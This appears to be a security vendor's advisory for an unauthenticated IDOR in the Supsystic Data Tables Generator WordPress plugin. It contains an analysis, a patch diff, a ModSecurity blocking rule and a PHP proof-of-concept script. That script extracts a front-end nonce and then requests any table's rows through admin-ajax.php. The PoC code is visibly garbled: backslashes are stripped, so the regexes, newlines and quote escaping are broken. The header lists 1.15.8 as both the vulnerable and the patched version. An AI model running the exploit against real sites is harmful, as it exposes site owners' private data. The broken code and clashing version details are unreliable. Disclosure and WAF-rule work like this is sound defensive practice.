Opens in a new tab
Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : November 15, 2026

CVE-2026-110016: Data Tables Generator by Supsystic – Excel-like, WooCommerce & Pricing Tables < 1.15.8 Unauthenticated Insecure Direct Object Reference PoC, Patch Analysis & Rule

Severity Medium (CVSS 5.3)
CWE 639
Vulnerable Version 1.15.8
Patched Version 1.15.8
Disclosed November 10, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-110016: The Data Tables Generator by Supsystic plugin (versions < 1.15.8) contains an Insecure Direct Object Reference (CWE-639) vulnerability. The flaw resides in the `getPageRowsAction` method of the Tables controller and allows unauthenticated attackers to retrieve arbitrary table rows by supplying a table ID without proper authorization. The CVSS score is 5.3 (Medium), reflecting the potential for data exposure.

The root cause is inadequate nonce validation on the front-end nonce check. In `src/SupsysticTables/Tables/Controller.php`, the original `getPageRowsAction` verifies the presence of a nonce via `_checkNonce` (admin) or `_checkNonceFrontend` (front-end). However, the front-end nonce is printed on every page, so it only provides CSRF protection, not authorization for a specific table. An attacker can obtain this nonce from any page and then request rows for any table ID by setting the `id` parameter. The code fails to bind the nonce to the specific table, enabling the IDOR. The patch adds a new per-table nonce (`rowsNonce`) that is generated only when a table is rendered with server-side processing (in `Module.php`), and verifies it against the requested table ID in the controller.

Exploitation is straightforward. An attacker first obtains a valid front-end nonce (e.g., from the page source where a table is rendered) and then sends a POST request to `/wp-admin/admin-ajax.php` with `action=getPageRows`, `id=`, and the nonce. The vulnerable code only checks that the nonce is valid for the front-end, not that it is tied to the requested table. Thus, an unauthenticated attacker can enumerate table IDs and retrieve sensitive data. No authentication or special privileges are required.

The patch modifies `Controller.php` to require an additional nonce check: the front-end nonce must be accompanied by a `rowsNonce` that is verified against the table ID via the new `verifyRowsNonce` method in `Module.php`. This method uses `wp_verify_nonce` with a per-table action `dtgs_table_rows_`. The `rowsNonce` is generated only when a table is rendered with server-side processing (SSP) and is included in the table’s render data. Therefore, a legitimate request must prove that the table was actually displayed to the user, effectively preventing IDOR. The version number is also bumped to 1.15.8.

Successful exploitation allows unauthenticated attackers to read arbitrary rows from any table in the plugin, including those containing sensitive information such as WooCommerce product data, pricing tables, or custom data tables. This can lead to privacy breaches, competitive intelligence gathering, or further targeted attacks. The vulnerability does not allow data modification or privilege escalation, but the exposure of confidential data can have significant business impact.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/data-tables-generator-by-supsystic/app/SupsysticTables.php
+++ b/data-tables-generator-by-supsystic/app/SupsysticTables.php
@@ -21,7 +21,7 @@

     $menuSlug = 'supsystic-tables';
     $pluginPath = dirname(dirname(__FILE__));
-    $environment = new RscDtgs_Environment('st', '1.15.7', $pluginPath);
+    $environment = new RscDtgs_Environment('st', '1.15.8', $pluginPath);

     /* Configure */
     $environment->configure([
--- a/data-tables-generator-by-supsystic/index.php
+++ b/data-tables-generator-by-supsystic/index.php
@@ -4,7 +4,7 @@
  * Plugin Name: Data Tables Generator by Supsystic
  * Plugin URI: http://supsystic.com
  * Description: Three table types in one plugin: Excel-like data tables with formulas, WooCommerce product tables and pricing tables. Responsive and searchable.
- * Version: 1.15.7
+ * Version: 1.15.8
  * Author: supsystic.com
  * Author URI: http://supsystic.com
  * Text Domain: supsystic_tables
--- a/data-tables-generator-by-supsystic/src/SupsysticTables/Tables/Controller.php
+++ b/data-tables-generator-by-supsystic/src/SupsysticTables/Tables/Controller.php
@@ -268,10 +268,12 @@
    */
   public function getPageRowsAction(RscDtgs_Http_Request $request)
   {
-    if (!$this->_checkNonce($request) && !$this->_checkNonceFrontend($request)) {
+    $id = (int) $request->post->get('id');
+    // The front-end nonce is printed on every page, so it only guards against CSRF. Visitors also need the nonce
+    // bound to this table, which is printed only where the table itself is rendered.
+    if (!$this->_checkNonce($request) && !($this->_checkNonceFrontend($request) && $this->getEnvironment()->getModule('tables')->verifyRowsNonce($request->post->get('rowsNonce'), $id))) {
       die();
     }
-    $id = (int) $request->post->get('id');
     $tables = $this->getModel('tables');

     try {
--- a/data-tables-generator-by-supsystic/src/SupsysticTables/Tables/Module.php
+++ b/data-tables-generator-by-supsystic/src/SupsysticTables/Tables/Module.php
@@ -496,6 +496,7 @@
     // Connect scripts and styles depending on table settings and table's cells settings
     $dispatcher->apply('before_table_render', [$table]);
     if ($table->isSSP) {
+      $table->rowsNonce = $this->getRowsNonce($id);
       $dispatcher->apply('before_table_render_ssp', [$table]);
     }
     $searchValue = '';
@@ -523,6 +524,27 @@
     return $renderData;
   }

+  /**
+   * Nonce bound to one table. It is printed only where the table is rendered with server-side processing,
+   * so a front-end request for the table's rows proves that the table was shown to the visitor.
+   * @param int $id
+   * @return string
+   */
+  public function getRowsNonce($id)
+  {
+    return wp_create_nonce('dtgs_table_rows_' . (int) $id);
+  }
+
+  /**
+   * @param mixed $nonce
+   * @param int $id
+   * @return bool
+   */
+  public function verifyRowsNonce($nonce, $id)
+  {
+    return is_string($nonce) && $nonce !== '' && wp_verify_nonce($nonce, 'dtgs_table_rows_' . (int) $id) !== false;
+  }
+
   private function normalizeWooProductTableFrontendSettings($settings)
   {
     $settings = is_array($settings) ? $settings : [];

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-110016
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:2026110016,phase:2,deny,status:403,chain,msg:'CVE-2026-110016 via Data Tables Generator by Supsystic AJAX',severity:'CRITICAL',tag:'CVE-2026-110016'"
  SecRule ARGS_POST:action "@streq getPageRows" 
    "chain"
    SecRule ARGS_POST:id "@rx ^[0-9]+$" 
      "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-110016 - Data Tables Generator by Supsystic < 1.15.8 - Unauthenticated Insecure Direct Object Reference

$target_url = 'http://example.com'; // Change to target WordPress site

// Step 1: Fetch a page that contains a table to extract the front-end nonce
// The nonce is typically embedded in a JavaScript variable or data attribute.
// For this PoC, we assume the nonce can be found in the page source.
// In a real attack, the attacker would scan the site for pages with tables.
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
curl_close($ch);

// Extract nonce (example regex, adjust to actual pattern)
// Common patterns: var dtgs_nonce = '...'; or data-nonce="..."
if (preg_match('/dtgs_nonces*=s*['"]([a-f0-9]+)['"]/', $response, $matches)) {
    $nonce = $matches[1];
} else {
    // Fallback: try to find any nonce-like string in the page
    // This is a simplified approach; real-world extraction may require more effort
    if (preg_match('/nonce["']?s*[:=]s*["']([a-f0-9]{10})["']/', $response, $matches)) {
        $nonce = $matches[1];
    } else {
        die("Could not extract nonce. The site may not have a table on the homepage.n");
    }
}

echo "Extracted nonce: $noncen";

// Step 2: Request rows for a target table ID (e.g., 1)
$table_id = 1; // Change to target table ID

$post_data = [
    'action' => 'getPageRows',
    'id' => $table_id,
    'nonce' => $nonce, // The front-end nonce parameter name may vary; adjust if needed
    // Additional parameters like 'draw', 'start', 'length' may be required
    'draw' => 1,
    'start' => 0,
    'length' => 10,
];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    'Content-Type: application/x-www-form-urlencoded',
]);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($http_code == 200) {
    echo "Response:n" . $response . "n";
    // Parse JSON response to extract data
    $data = json_decode($response, true);
    if ($data) {
        echo "Successfully retrieved data for table ID $table_idn";
        // Further processing...
    } else {
        echo "Failed to decode JSON response.n";
    }
} else {
    echo "Request failed with HTTP code $http_coden";
}

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.